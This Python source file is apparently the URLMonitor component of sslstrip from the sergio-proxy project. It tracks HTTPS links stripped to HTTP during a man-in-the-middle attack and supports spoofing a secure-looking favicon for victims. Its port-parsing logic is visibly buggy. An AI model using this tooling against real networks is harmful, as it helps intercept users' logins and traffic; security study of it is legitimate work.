# 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | 32 | def __init__(self): 33 | self.strippedURLs = set() 34 | self.strippedURLPorts = {} 35 | self.faviconReplacement = False 36 | 37 | def isSecureLink(self, client, url): 38 | for expression in URLMonitor.javascriptTrickery: 39 | if (re.match(expression, url)): 40 | return True 41 | 42 | return (client,url) in self.strippedURLs 43 | 44 | def getSecurePort(self, client, url): 45 | if (client,url) in self.strippedURLs: 46 | return self.strippedURLPorts[(client,url)] 47 | else: 48 | return 443 49 | 50 | def addSecureLink(self, client, url): 51 | methodIndex = url.find("//") + 2 52 | method = url[0:methodIndex] 53 | 54 | pathIndex = url.find("/", methodIndex) 55 | host = url[methodIndex:pathIndex] 56 | path = url[pathIndex:] 57 | 58 | port = 443 59 | portIndex = host.find(":") 60 | 61 | if (portIndex != -1): 62 | host = host[0:portIndex] 63 | port = host[portIndex+1:] 64 | if len(port) == 0: 65 | port = 443 66 | 67 | url = method + host + path 68 | 69 | self.strippedURLs.add((client, url)) 70 | self.strippedURLPorts[(client, url)] = int(port) 71 | 72 | def setFaviconSpoofing(self, faviconSpoofing): 73 | self.faviconSpoofing = faviconSpoofing 74 | 75 | def isFaviconSpoofing(self): 76 | return self.faviconSpoofing 77 | 78 | def isSecureFavicon(self, client, url): 79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 80 | 81 | def getInstance(): 82 | if URLMonitor._instance == None: 83 | URLMonitor._instance = URLMonitor() 84 | 85 | return URLMonitor._instance 86 | 87 | getInstance = staticmethod(getInstance) 88 | -------------------------------------------------------------------------------- /sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/supernothing/sergio-proxy/8a91bb42a56841f121c00ad289d05a8d8f3dba57/sslstrip/__init__.py --------------------------------------------------------------------------------